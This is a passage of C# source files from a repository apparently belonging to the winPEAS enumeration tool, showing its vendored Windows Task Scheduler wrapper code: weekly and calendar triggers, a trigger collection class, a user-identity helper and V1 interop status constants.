(TaskTriggerType)tv2; } private string V2BaseTriggerString() { var ret = new StringBuilder(); if (Repetition.Interval != TimeSpan.Zero) { var sduration = Repetition.Duration == TimeSpan.Zero ? Resources.TriggerDuration0 : string.Format(Resources.TriggerDurationNot0, GetBestTimeSpanString(Repetition.Duration)); ret.AppendFormat(Resources.TriggerRepetition, GetBestTimeSpanString(Repetition.Interval), sduration); } if (EndBoundary != DateTime.MaxValue) ret.AppendFormat(Resources.TriggerEndBoundary, AdjustToLocal(EndBoundary)); if (ret.Length > 0) ret.Insert(0, Resources.HyphenSeparator); return ret.ToString(); } } /// /// Represents a trigger that starts a task based on a weekly schedule. For example, the task starts at 8:00 A.M. on a specific day of /// the week every week or every other week. /// /// A WeeklyTrigger runs at a specified time on specified days of the week every week or interval of weeks. /// /// /// /// /// [XmlRoot("CalendarTrigger", Namespace = TaskDefinition.tns, IsNullable = false)] public sealed class WeeklyTrigger : Trigger, ICalendarTrigger, ITriggerDelay, IXmlSerializable { /// Creates an unbound instance of a . /// The days of the week. /// The interval between the weeks in the schedule. public WeeklyTrigger(DaysOfTheWeek daysOfWeek = DaysOfTheWeek.Sunday, short weeksInterval = 1) : base(TaskTriggerType.Weekly) { DaysOfWeek = daysOfWeek; WeeksInterval = weeksInterval; } internal WeeklyTrigger([NotNull] ITaskTrigger iTrigger) : base(iTrigger, V1.TaskTriggerType.RunWeekly) { if (v1TriggerData.Data.weekly.DaysOfTheWeek == 0) v1TriggerData.Data.weekly.DaysOfTheWeek = DaysOfTheWeek.Sunday; if (v1TriggerData.Data.weekly.WeeksInterval == 0) v1TriggerData.Data.weekly.WeeksInterval = 1; } internal WeeklyTrigger([NotNull] ITrigger iTrigger) : base(iTrigger) { } /// Gets or sets the days of the week on which the task runs. [DefaultValue(0)] public DaysOfTheWeek DaysOfWeek { get => v2Trigger != null ? (DaysOfTheWeek)((IWeeklyTrigger)v2Trigger).DaysOfWeek : v1TriggerData.Data.weekly.DaysOfTheWeek; set { if (v2Trigger != null) ((IWeeklyTrigger)v2Trigger).DaysOfWeek = (short)value; else { v1TriggerData.Data.weekly.DaysOfTheWeek = value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(DaysOfWeek)] = (short)value; } OnNotifyPropertyChanged(); } } /// Gets or sets a delay time that is randomly added to the start time of the trigger. /// Not supported under Task Scheduler 1.0. [DefaultValue(typeof(TimeSpan), "00:00:00")] [XmlIgnore] public TimeSpan RandomDelay { get => v2Trigger != null ? Task.StringToTimeSpan(((IWeeklyTrigger)v2Trigger).RandomDelay) : GetUnboundValueOrDefault(nameof(RandomDelay), TimeSpan.Zero); set { if (v2Trigger != null) ((IWeeklyTrigger)v2Trigger).RandomDelay = Task.TimeSpanToString(value); else if (v1Trigger != null) throw new NotV1SupportedException(); else unboundValues[nameof(RandomDelay)] = value; OnNotifyPropertyChanged(); } } /// Gets or sets the interval between the weeks in the schedule. [DefaultValue(1)] public short WeeksInterval { get => ((IWeeklyTrigger)v2Trigger)?.WeeksInterval ?? (short)v1TriggerData.Data.weekly.WeeksInterval; set { if (v2Trigger != null) ((IWeeklyTrigger)v2Trigger).WeeksInterval = value; else { v1TriggerData.Data.weekly.WeeksInterval = (ushort)value; if (v1Trigger != null) SetV1TriggerData(); else unboundValues[nameof(WeeksInterval)] = value; } OnNotifyPropertyChanged(); } } /// Gets or sets a value that indicates the amount of time before the task is started. /// The delay duration. TimeSpan ITriggerDelay.Delay { get => RandomDelay; set => RandomDelay = value; } /// /// Copies the properties from another the current instance. This will not copy any properties associated with /// any derived triggers except those supporting the interface. /// /// The source . public override void CopyProperties(Trigger sourceTrigger) { base.CopyProperties(sourceTrigger); if (sourceTrigger is WeeklyTrigger wt) { DaysOfWeek = wt.DaysOfWeek; WeeksInterval = wt.WeeksInterval; } } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public override bool Equals(Trigger other) => other is WeeklyTrigger wt && base.Equals(wt) && DaysOfWeek == wt.DaysOfWeek && WeeksInterval == wt.WeeksInterval; System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null; void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) => CalendarTrigger.ReadXml(reader, this, ReadMyXml); void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) => CalendarTrigger.WriteXml(writer, this, WriteMyXml); /// Gets the non-localized trigger string for V2 triggers. /// String describing the trigger. protected override string V2GetTriggerString() { var days = TaskEnumGlobalizer.GetString(DaysOfWeek); return string.Format(WeeksInterval == 1 ? Resources.TriggerWeekly1Week : Resources.TriggerWeeklyMultWeeks, AdjustToLocal(StartBoundary), days, WeeksInterval); } /// Reads the subclass XML for V1 streams. /// The reader. private void ReadMyXml(System.Xml.XmlReader reader) { reader.ReadStartElement("ScheduleByWeek"); while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { switch (reader.LocalName) { case "WeeksInterval": WeeksInterval = (short)reader.ReadElementContentAsInt(); break; case "DaysOfWeek": reader.Read(); DaysOfWeek = 0; while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { try { DaysOfWeek |= (DaysOfTheWeek)Enum.Parse(typeof(DaysOfTheWeek), reader.LocalName); } catch { throw new System.Xml.XmlException("Invalid days of the week element."); } reader.Read(); } reader.ReadEndElement(); break; default: reader.Skip(); break; } } reader.ReadEndElement(); } /// Writes the subclass XML for V1 streams. /// The writer. private void WriteMyXml(System.Xml.XmlWriter writer) { writer.WriteStartElement("ScheduleByWeek"); if (WeeksInterval != 1) writer.WriteElementString("WeeksInterval", WeeksInterval.ToString()); writer.WriteStartElement("DaysOfWeek"); foreach (DaysOfTheWeek e in Enum.GetValues(typeof(DaysOfTheWeek))) if (e != DaysOfTheWeek.AllDays && (DaysOfWeek & e) == e) writer.WriteElementString(e.ToString(), null); writer.WriteEndElement(); writer.WriteEndElement(); } } internal static class CalendarTrigger { internal delegate void CalendarXmlReader(System.Xml.XmlReader reader); internal delegate void CalendarXmlWriter(System.Xml.XmlWriter writer); public static void WriteXml([NotNull] System.Xml.XmlWriter writer, [NotNull] Trigger t, [NotNull] CalendarXmlWriter calWriterProc) { if (!t.Enabled) writer.WriteElementString("Enabled", System.Xml.XmlConvert.ToString(t.Enabled)); if (t.EndBoundary != DateTime.MaxValue) writer.WriteElementString("EndBoundary", System.Xml.XmlConvert.ToString(t.EndBoundary, System.Xml.XmlDateTimeSerializationMode.RoundtripKind)); XmlSerializationHelper.WriteObject(writer, t.Repetition); writer.WriteElementString("StartBoundary", System.Xml.XmlConvert.ToString(t.StartBoundary, System.Xml.XmlDateTimeSerializationMode.RoundtripKind)); calWriterProc(writer); } internal static Trigger GetTriggerFromXml([NotNull] System.Xml.XmlReader reader) { Trigger t = null; var xml = reader.ReadOuterXml(); var match = System.Text.RegularExpressions.Regex.Match(xml, @"\<(?ScheduleBy.+)\>"); if (match.Success && match.Groups.Count == 2) { switch (match.Groups[1].Value) { case "ScheduleByDay": t = new DailyTrigger(); break; case "ScheduleByWeek": t = new WeeklyTrigger(); break; case "ScheduleByMonth": t = new MonthlyTrigger(); break; case "ScheduleByMonthDayOfWeek": t = new MonthlyDOWTrigger(); break; } if (t != null) { using var ms = new System.IO.StringReader(xml); using var iReader = System.Xml.XmlReader.Create(ms); ((IXmlSerializable)t).ReadXml(iReader); } } return t; } internal static void ReadXml([NotNull] System.Xml.XmlReader reader, [NotNull] Trigger t, [NotNull] CalendarXmlReader calReaderProc) { reader.ReadStartElement("CalendarTrigger", TaskDefinition.tns); while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { switch (reader.LocalName) { case "Enabled": t.Enabled = reader.ReadElementContentAsBoolean(); break; case "EndBoundary": t.EndBoundary = reader.ReadElementContentAsDateTime(); break; case "RandomDelay": ((ITriggerDelay)t).Delay = Task.StringToTimeSpan(reader.ReadElementContentAsString()); break; case "StartBoundary": t.StartBoundary = reader.ReadElementContentAsDateTime(); break; case "Repetition": XmlSerializationHelper.ReadObject(reader, t.Repetition); break; case "ScheduleByDay": case "ScheduleByWeek": case "ScheduleByMonth": case "ScheduleByMonthDayOfWeek": calReaderProc(reader); break; default: reader.Skip(); break; } } reader.ReadEndElement(); } } internal sealed class RepetitionPatternConverter : TypeConverter { public override bool CanConvertTo(ITypeDescriptorContext context, Type destinationType) => destinationType == typeof(string) || base.CanConvertTo(context, destinationType); public override object ConvertTo(ITypeDescriptorContext context, CultureInfo culture, object value, Type destinationType) { var rp = (RepetitionPattern)value; if (destinationType != typeof(string)) return base.ConvertTo(context, culture, value, destinationType); if (rp.Interval == TimeSpan.Zero) return ""; var sduration = rp.Duration == TimeSpan.Zero ? Resources.TriggerDuration0 : string.Format(Resources.TriggerDurationNot0Short, Trigger.GetBestTimeSpanString(rp.Duration)); return string.Format(Resources.TriggerRepetitionShort, Trigger.GetBestTimeSpanString(rp.Interval), sduration); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/TriggerCollection.cs ================================================ using System; using System.Collections; using System.Collections.Generic; using System.Collections.Specialized; using System.ComponentModel; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Xml.Serialization; using winPEAS.TaskScheduler.TaskEditor.Native; using winPEAS.TaskScheduler.V1; using winPEAS.TaskScheduler.V2; namespace winPEAS.TaskScheduler { [XmlRoot("Triggers", Namespace = TaskDefinition.tns, IsNullable = false)] public sealed class TriggerCollection : IList, IDisposable, IXmlSerializable, IList, INotifyCollectionChanged, INotifyPropertyChanged { private const string IndexerName = "Item[]"; private readonly ITriggerCollection v2Coll; private bool inV2set; private ITask v1Task; private ITaskDefinition v2Def; internal TriggerCollection([NotNull] ITask iTask) => v1Task = iTask; internal TriggerCollection([NotNull] ITaskDefinition iTaskDef) { v2Def = iTaskDef; v2Coll = v2Def.Triggers; } /// Occurs when a collection changes. public event NotifyCollectionChangedEventHandler CollectionChanged; /// Occurs when a property value changes. public event PropertyChangedEventHandler PropertyChanged; /// Gets the number of triggers in the collection. public int Count => v2Coll?.Count ?? v1Task.GetTriggerCount(); bool IList.IsFixedSize => false; bool ICollection.IsReadOnly => false; bool IList.IsReadOnly => false; bool ICollection.IsSynchronized => false; object ICollection.SyncRoot => this; /// Gets or sets a specified trigger from the collection. /// The . /// The id ( ) of the trigger to be retrieved. /// Specialized instance. /// /// /// /// Mismatching Id for trigger and lookup. public Trigger this[[NotNull] string triggerId] { get { if (string.IsNullOrEmpty(triggerId)) throw new ArgumentNullException(nameof(triggerId)); foreach (var t in this) if (string.Equals(t.Id, triggerId)) return t; throw new ArgumentOutOfRangeException(nameof(triggerId)); } set { if (value == null) throw new NullReferenceException(); if (string.IsNullOrEmpty(triggerId)) throw new ArgumentNullException(nameof(triggerId)); if (triggerId != value.Id) throw new InvalidOperationException("Mismatching Id for trigger and lookup."); var index = IndexOf(triggerId); if (index >= 0) { var orig = this[index].Clone(); inV2set = true; try { RemoveAt(index); Insert(index, value); } finally { inV2set = true; } OnNotifyPropertyChanged(IndexerName); CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Replace, value, orig, index)); } else Add(value); } } /// Gets a specified trigger from the collection. /// The index of the trigger to be retrieved. /// Specialized instance. public Trigger this[int index] { get { if (v2Coll != null) return Trigger.CreateTrigger(v2Coll[++index], v2Def); return Trigger.CreateTrigger(v1Task.GetTrigger((ushort)index)); } set { if (index < 0 || Count <= index) throw new ArgumentOutOfRangeException(nameof(index), index, @"Index is not a valid index in the TriggerCollection"); var orig = this[index].Clone(); inV2set = true; try { Insert(index, value); RemoveAt(index + 1); } finally { inV2set = false; } OnNotifyPropertyChanged(IndexerName); CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Replace, value, orig, index)); } } object IList.this[int index] { get => this[index]; set => this[index] = (Trigger)value; } /*/// /// Add an unbound to the task. derivative to /// add to the task. Bound trigger. unboundTrigger /// is null. public Trigger Add([NotNull] Trigger unboundTrigger) { if (unboundTrigger == null) throw new ArgumentNullException(nameof(unboundTrigger)); if (v2Def != null) unboundTrigger.Bind(v2Def); else unboundTrigger.Bind(v1Task); return unboundTrigger; }*/ /// Add an unbound to the task. /// A type derived from . /// derivative to add to the task. /// Bound trigger. /// unboundTrigger is null. public TTrigger Add([NotNull] TTrigger unboundTrigger) where TTrigger : Trigger { if (unboundTrigger == null) throw new ArgumentNullException(nameof(unboundTrigger)); if (v2Def != null) unboundTrigger.Bind(v2Def); else unboundTrigger.Bind(v1Task); OnNotifyPropertyChanged(nameof(Count)); OnNotifyPropertyChanged(IndexerName); CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Add, unboundTrigger)); return unboundTrigger; } /// Add a new trigger to the collections of triggers for the task. /// The type of trigger to create. /// A instance of the specified type. public Trigger AddNew(TaskTriggerType taskTriggerType) { if (v1Task != null) return Trigger.CreateTrigger(v1Task.CreateTrigger(out _), Trigger.ConvertToV1TriggerType(taskTriggerType)); return Trigger.CreateTrigger(v2Coll.Create(taskTriggerType), v2Def); } /// Adds a collection of unbound triggers to the end of the . /// /// The triggers to be added to the end of the . The collection itself cannot be null and /// cannot contain null elements. /// /// is null. public void AddRange([NotNull] IEnumerable triggers) { if (triggers == null) throw new ArgumentNullException(nameof(triggers)); foreach (var item in triggers) Add(item); } /// Clears all triggers from the task. public void Clear() { if (v2Coll != null) v2Coll.Clear(); else { inV2set = true; try { for (var i = Count - 1; i >= 0; i--) RemoveAt(i); } finally { inV2set = false; } } OnNotifyPropertyChanged(nameof(Count)); OnNotifyPropertyChanged(IndexerName); CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Reset)); } /// Determines whether the contains a specific value. /// The object to locate in the . /// true if is found in the ; otherwise, false. public bool Contains([NotNull] Trigger item) => Find(a => a.Equals(item)) != null; /// Determines whether the specified trigger type is contained in this collection. /// Type of the trigger. /// true if the specified trigger type is contained in this collection; otherwise, false. public bool ContainsType(Type triggerType) => Find(a => a.GetType() == triggerType) != null; /// /// Copies the elements of the to an , starting at a particular index. /// /// /// The one-dimensional that is the destination of the elements copied from . The /// must have zero-based indexing. /// /// The zero-based index in at which copying begins. public void CopyTo(Trigger[] array, int arrayIndex) => CopyTo(0, array, arrayIndex, Count); /// /// Copies the elements of the to a array, starting at a particular array index. /// /// The zero-based index in the source at which copying begins. /// /// The array that is the destination of the elements copied from . The array must have zero-based indexing. /// /// The zero-based index in array at which copying begins. /// The number of elements to copy. /// is null. /// is less than 0. /// /// The number of elements in the source is greater than the available space from to the end of the destination . /// public void CopyTo(int index, Trigger[] array, int arrayIndex, int count) { if (array == null) throw new ArgumentNullException(nameof(array)); if (index < 0 || index >= Count) throw new ArgumentOutOfRangeException(nameof(index)); if (arrayIndex < 0) throw new ArgumentOutOfRangeException(nameof(arrayIndex)); if (count < 0 || count > (Count - index)) throw new ArgumentOutOfRangeException(nameof(count)); if ((Count - index) > (array.Length - arrayIndex)) throw new ArgumentOutOfRangeException(nameof(arrayIndex)); for (var i = 0; i < count; i++) array[arrayIndex + i] = (Trigger)this[index + i].Clone(); } /// Releases all resources used by this class. public void Dispose() { if (v2Coll != null) Marshal.ReleaseComObject(v2Coll); v2Def = null; v1Task = null; } /// /// Searches for an that matches the conditions defined by the specified predicate, and returns the first /// occurrence within the entire collection. /// /// /// The delegate that defines the conditions of the to search for. /// /// /// The first that matches the conditions defined by the specified predicate, if found; otherwise, null. /// public Trigger Find([NotNull] Predicate match) { if (match == null) throw new ArgumentNullException(nameof(match)); foreach (var item in this) if (match(item)) return item; return null; } /// /// Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based /// index of the first occurrence within the collection that starts at the specified index and contains the specified number of elements. /// /// The zero-based starting index of the search. /// The number of elements in the collection to search. /// The delegate that defines the conditions of the element to search for. /// /// The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. /// public int FindIndexOf(int startIndex, int count, [NotNull] Predicate match) { if (startIndex < 0 || startIndex >= Count) throw new ArgumentOutOfRangeException(nameof(startIndex)); if (startIndex + count > Count) throw new ArgumentOutOfRangeException(nameof(count)); if (match == null) throw new ArgumentNullException(nameof(match)); for (var i = startIndex; i < startIndex + count; i++) if (match(this[i])) return i; return -1; } /// /// Searches for an that matches the conditions defined by the specified predicate, and returns the zero-based /// index of the first occurrence within the collection. /// /// The delegate that defines the conditions of the element to search for. /// /// The zero-based index of the first occurrence of an element that matches the conditions defined by match, if found; otherwise, –1. /// public int FindIndexOf([NotNull] Predicate match) => FindIndexOf(0, Count, match); /// Gets the collection enumerator for this collection. /// The for this collection. public IEnumerator GetEnumerator() { if (v1Task != null) return new V1TriggerEnumerator(v1Task); return new ComEnumerator(() => v2Coll.Count, i => v2Coll[i], o => Trigger.CreateTrigger(o, v2Def)); } /// Determines the index of a specific item in the . /// The object to locate in the . /// The index of if found in the list; otherwise, -1. public int IndexOf([NotNull] Trigger item) => FindIndexOf(a => a.Equals(item)); /// Determines the index of a specific item in the . /// The id ( ) of the trigger to be retrieved. /// The index of if found in the list; otherwise, -1. public int IndexOf([NotNull] string triggerId) { if (string.IsNullOrEmpty(triggerId)) throw new ArgumentNullException(triggerId); return FindIndexOf(a => string.Equals(a.Id, triggerId)); } /// Inserts an trigger at the specified index. /// The zero-based index at which trigger should be inserted. /// The trigger to insert into the list. public void Insert(int index, [NotNull] Trigger trigger) { if (trigger == null) throw new ArgumentNullException(nameof(trigger)); if (index >= Count) throw new ArgumentOutOfRangeException(nameof(index)); var pushItems = new Trigger[Count - index]; CopyTo(index, pushItems, 0, Count - index); for (var j = Count - 1; j >= index; j--) RemoveAt(j); Add(trigger); foreach (var t in pushItems) Add(t); } /// Removes the first occurrence of a specific object from the . /// The object to remove from the . /// /// true if was successfully removed from the ; otherwise, false. This method /// also returns false if is not found in the original . /// public bool Remove([NotNull] Trigger item) { var idx = IndexOf(item); if (idx != -1) { try { RemoveAt(idx); return true; } catch { } } return false; } /// Removes the trigger at a specified index. /// Index of trigger to remove. /// Index out of range. public void RemoveAt(int index) { if (index < 0 || index >= Count) throw new ArgumentOutOfRangeException(nameof(index), index, @"Failed to remove Trigger. Index out of range."); var item = this[index].Clone(); if (v2Coll != null) v2Coll.Remove(++index); else v1Task.DeleteTrigger((ushort)index); //Remove the trigger from the Task Scheduler if (!inV2set) { OnNotifyPropertyChanged(nameof(Count)); OnNotifyPropertyChanged(IndexerName); CollectionChanged?.Invoke(this, new NotifyCollectionChangedEventArgs(NotifyCollectionChangedAction.Remove, item, index)); } } /// Copies the elements of the to a new array. /// An array containing copies of the elements of the . public Trigger[] ToArray() { var ret = new Trigger[Count]; CopyTo(ret, 0); return ret; } /// Returns a that represents the triggers in this collection. /// A that represents the triggers in this collection. public override string ToString() { if (Count == 1) return this[0].ToString(); if (Count > 1) return Properties.Resources.MultipleTriggers; return string.Empty; } void ICollection.Add(Trigger item) => Add(item); int IList.Add(object value) { Add((Trigger)value); return Count - 1; } bool IList.Contains(object value) => Contains((Trigger)value); void ICollection.CopyTo(Array array, int index) { if (array != null && array.Rank != 1) throw new RankException("Multi-dimensional arrays are not supported."); var src = new Trigger[Count]; CopyTo(src, 0); Array.Copy(src, 0, array, index, Count); } IEnumerator IEnumerable.GetEnumerator() => GetEnumerator(); System.Xml.Schema.XmlSchema IXmlSerializable.GetSchema() => null; int IList.IndexOf(object value) => IndexOf((Trigger)value); void IList.Insert(int index, object value) => Insert(index, (Trigger)value); void IXmlSerializable.ReadXml(System.Xml.XmlReader reader) { reader.ReadStartElement(XmlSerializationHelper.GetElementName(this), TaskDefinition.tns); while (reader.MoveToContent() == System.Xml.XmlNodeType.Element) { switch (reader.LocalName) { case "BootTrigger": XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Boot)); break; case "IdleTrigger": XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Idle)); break; case "TimeTrigger": XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Time)); break; case "LogonTrigger": XmlSerializationHelper.ReadObject(reader, AddNew(TaskTriggerType.Logon)); break; case "CalendarTrigger": Add(CalendarTrigger.GetTriggerFromXml(reader)); break; default: reader.Skip(); break; } } reader.ReadEndElement(); } void IList.Remove(object value) => Remove((Trigger)value); void IXmlSerializable.WriteXml(System.Xml.XmlWriter writer) { foreach (var t in this) XmlSerializationHelper.WriteObject(writer, t); } internal void Bind() { foreach (var t in this) t.SetV1TriggerData(); } /// Called when a property has changed to notify any attached elements. /// Name of the property. private void OnNotifyPropertyChanged([CallerMemberName] string propertyName = "") => PropertyChanged?.Invoke(this, new PropertyChangedEventArgs(propertyName)); private sealed class V1TriggerEnumerator : IEnumerator { private short curItem = -1; private ITask iTask; internal V1TriggerEnumerator(ITask task) => iTask = task; public Trigger Current => Trigger.CreateTrigger(iTask.GetTrigger((ushort)curItem)); object IEnumerator.Current => Current; /// Releases all resources used by this class. public void Dispose() => iTask = null; public bool MoveNext() => (++curItem < iTask.GetTriggerCount()); public void Reset() => curItem = -1; } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/User.cs ================================================ using System; using System.Security.Principal; using winPEAS.TaskScheduler.TaskEditor.Native; namespace winPEAS.TaskScheduler { /// Represents a system account. internal class User : IEquatable, IDisposable { private static readonly WindowsIdentity cur = WindowsIdentity.GetCurrent(); private SecurityIdentifier sid; /// Initializes a new instance of the class. /// /// Name of the user. This can be in the format DOMAIN\username or username@domain.com or username or /// null (for current user). /// public User(string userName = null) { if (string.IsNullOrEmpty(userName)) userName = null; // 2018-03-02: Hopefully not a breaking change, but by adding in the comparison of an account name without a domain and the // current user, there is a chance that current implementations will break given the condition that a local account with the same // name as a domain account exists and the intention was to prefer the local account. In such a case, the developer should // prepend the user name in TaskDefinition.Principal.UserId with the machine name of the local machine. if (userName == null || cur.Name.Equals(userName, StringComparison.InvariantCultureIgnoreCase) || GetUser(cur.Name).Equals(userName, StringComparison.InvariantCultureIgnoreCase)) { Identity = cur; sid = Identity.User; } else if (userName.Contains("\\") && !userName.StartsWith(@"NT AUTHORITY\")) { try { using (var ds = new NativeMethods.DomainService()) { Identity = new WindowsIdentity(ds.CrackName(userName)); sid = Identity.User; } } catch { } } if (Identity == null) { if (userName != null && userName.Contains("@")) { Identity = new WindowsIdentity(userName); sid = Identity.User; } if (Identity == null && userName != null) { var ntacct = new NTAccount(userName); try { sid = (SecurityIdentifier)ntacct.Translate(typeof(SecurityIdentifier)); } catch { } } } string GetUser(string domUser) { var split = domUser.Split('\\'); return split.Length == 2 ? split[1] : domUser; } } /// Initializes a new instance of the class. /// The . internal User(WindowsIdentity wid) { Identity = wid; sid = wid.User; } /// Gets the current user. /// The current user. public static User Current => new User(cur); /// Gets the identity. /// The identity. public WindowsIdentity Identity { get; private set; } /// Gets a value indicating whether this instance is in an administrator role. /// true if this instance is an admin; otherwise, false. public bool IsAdmin => Identity != null ? new WindowsPrincipal(Identity).IsInRole(WindowsBuiltInRole.Administrator) : false; /// Gets a value indicating whether this instance is the interactive user. /// true if this instance is the current user; otherwise, false. public bool IsCurrent => Identity?.User.Equals(cur.User) ?? false; /// Gets a value indicating whether this instance is a service account. /// true if this instance is a service account; otherwise, false. public bool IsServiceAccount { get { try { return (sid != null && (sid.IsWellKnown(WellKnownSidType.LocalSystemSid) || sid.IsWellKnown(WellKnownSidType.NetworkServiceSid) || sid.IsWellKnown(WellKnownSidType.LocalServiceSid))); } catch { } return false; } } /// Gets a value indicating whether this instance is the SYSTEM account. /// true if this instance is the SYSTEM account; otherwise, false. public bool IsSystem => sid != null && sid.IsWellKnown(WellKnownSidType.LocalSystemSid); /// Gets the SID string. /// The SID string. public string SidString => sid?.ToString(); /// Gets the NT name (DOMAIN\username). /// The name of the user. public string Name => Identity?.Name ?? ((NTAccount)sid?.Translate(typeof(NTAccount)))?.Value; /// Create a instance from a SID string. /// The SID string. /// A instance. public static User FromSidString(string sid) => new User(((NTAccount)new SecurityIdentifier(sid).Translate(typeof(NTAccount))).Value); /// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources. public void Dispose() => Identity?.Dispose(); /// Determines whether the specified , is equal to this instance. /// The to compare with this instance. /// true if the specified is equal to this instance; otherwise, false. public override bool Equals(object obj) { if (obj is User user) return Equals(user); if (obj is WindowsIdentity wid && sid != null) return sid.Equals(wid.User); try { if (obj is string un) return Equals(new User(un)); } catch { } return base.Equals(obj); } /// Indicates whether the current object is equal to another object of the same type. /// An object to compare with this object. /// true if the current object is equal to the parameter; otherwise, false. public bool Equals(User other) => (other != null && sid != null) ? sid.Equals(other.sid) : false; /// Returns a hash code for this instance. /// A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table. public override int GetHashCode() => sid?.GetHashCode() ?? 0; } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/TaskScheduler/V1/TaskSchedulerV1Interop.cs ================================================ using System; using System.Runtime.InteropServices; using winPEAS.TaskScheduler.TaskEditor.Native; namespace winPEAS.TaskScheduler.V1 { #pragma warning disable CS0618 // Type or member is obsolete #region class HRESULT -- Values peculiar to the task scheduler. internal class HResult { // The task is ready to run at its next scheduled time. public const int SCHED_S_TASK_READY = 0x00041300; // The task is currently running. public const int SCHED_S_TASK_RUNNING = 0x00041301; // The task will not run at the scheduled times because it has been disabled. public const int SCHED_S_TASK_DISABLED = 0x00041302; // The task has not yet run. public const int SCHED_S_TASK_HAS_NOT_RUN = 0x00041303; // There are no more runs scheduled for this task. public const int SCHED_S_TASK_NO_MORE_RUNS = 0x00041304; // One or more of the properties that are needed to run this task on a schedule have not been set. public const int SCHED_S_TASK_NOT_SCHEDULED = 0x00041305; // The last run of the task was terminated by the user. public const int SCHED_S_TASK_TERMINATED = 0x00041306; // Either the task has no triggers or the existing triggers are disabled or not set. public const int SCHED_S_TASK_NO_VALID_TRIGGERS = 0x00041307; // Event triggers don't have set run times. public const int SCHED_S_EVENT_TRIGGER = 0x00041308; // Trigger not found. public const int SCHED_E_TRIGGER_NOT_FOUND = unchecked((int)0x80041309); // One or more of the properties that are needed to run this task have not been set. public const int SCHED_E_TASK_NOT_READY = unchecked((int)0x8004130A); // There is no running instance of the task to terminate. public const int SCHED_E_TASK_NOT_RUNNING = unchecked((int)0x8004130B); // The Task Scheduler Service is not installed on this computer. public const int SCHED_E_SERVICE_NOT_INSTALLED = unchecked((int)0x8004130C); // The task object could not be opened. public const int SCHED_E_CANNOT_OPEN_TASK = unchecked((int)0x8004130D); // The object is either an invalid task object or is not a task object. public const int SCHED_E_INVALID_TASK = unchecked((int)0x8004130E); // No account information could be found in the Task Scheduler security database for the task indicated. public const int SCHED_E_ACCOUNT_INFORMATION_NOT_SET = unchecked((int)0x8004130F); // Unable to establish existence of the account specified. public const int SCHED_E_ACCOUNT_NAME_NOT_FOUND = unchecked((int)0x80041310); // Corruption was detected in the Task Scheduler security database; the database has been reset. public const int SCHED_E_ACCOUNT_DBASE_CORRUPT = unchecked((int)0x80041311); // Task Scheduler security services are available only on Windows NT. public const int SCHED_E_NO_SECURITY_SERVICES = unchecked((int)0x80041312); // The task object version is either unsupported or invalid. public const int SCHED_E_UNKNOWN_OBJECT_VERSION = unchecked((int)0x80041313); // The task has been configured with an unsupported combination of account settings and run time options. public const int SCHED_E_UNSUPPORTED_ACCOUNT_OPTION = unchecked((int)0x80041314); // The Task Scheduler Service is not running. public const int SCHED_E_SERVICE_NOT_RUNNING = unchecked((int)0x80041315); // The Task Scheduler service must be configured to run in the System account to function properly. Individual tasks may be configured to run in other accounts. public const int SCHED_E_SERVICE_NOT_LOCALSYSTEM = unchecked((int)0x80041316); } #endregion #region Enums /// /// Options for a task, used for the Flags property of a Task. Uses the /// "Flags" attribute, so these values are combined with |. /// Some flags are documented as Windows 95 only, but they have a /// user interface in Windows XP so that may not be true. /// [Flags] internal enum TaskFlags { /// /// The interactive flag is set if the task is intended to be displayed to the user. /// If the flag is not set, no user interface associated with the task is presented /// to the user when the task is executed. /// Interactive = 0x1, /// /// The task will be deleted when there are no more scheduled run times. /// DeleteWhenDone = 0x2, /// /// The task is disabled. This is useful to temporarily prevent a task from running /// at the scheduled time(s). /// Disabled = 0x4, /// /// The task begins only if the computer is not in use at the scheduled start time. Windows 95 only. /// StartOnlyIfIdle = 0x10, /// /// The task terminates if the computer makes an idle to non-idle transition while the task is running. /// The computer is not considered idle until the IdleWait triggers' time elapses with no user input. /// Windows 95 only. For information regarding idle triggers, see . /// KillOnIdleEnd = 0x20, /// /// The task does not start if its target computer is running on battery power. Windows 95 only. /// DontStartIfOnBatteries = 0x40, /// /// The task ends, and the associated application quits if the task's target computer switches /// to battery power. Windows 95 only. /// KillIfGoingOnBatteries = 0x80, /// /// The task runs only if the system is docked. Windows 95 only. /// RunOnlyIfDocked = 0x100, /// /// The work item created will be hidden. /// Hidden = 0x200, /// /// The task runs only if there is currently a valid Internet connection. /// This feature is currently not implemented. /// RunIfConnectedToInternet = 0x400, /// /// The task starts again if the computer makes a non-idle to idle transition before all the /// task's task_triggers elapse. (Use this flag in conjunction with KillOnIdleEnd.) Windows 95 only. /// RestartOnIdleResume = 0x800, /// /// The task runs only if the SYSTEM account is available. /// SystemRequired = 0x1000, /// /// The task runs only if the user specified in SetAccountInformation is logged on interactively. /// This flag has no effect on work items set to run in the local account. /// RunOnlyIfLoggedOn = 0x2000 } /// /// Status values returned for a task. Some values have been determined to occur although /// they do no appear in the Task Scheduler system documentation. /// internal enum TaskStatus { /// The task is ready to run at its next scheduled time. Ready = HResult.SCHED_S_TASK_READY, /// The task is currently running. Running = HResult.SCHED_S_TASK_RUNNING, /// One or more of the properties that are needed to run this task on a schedule have not been set. NotScheduled = 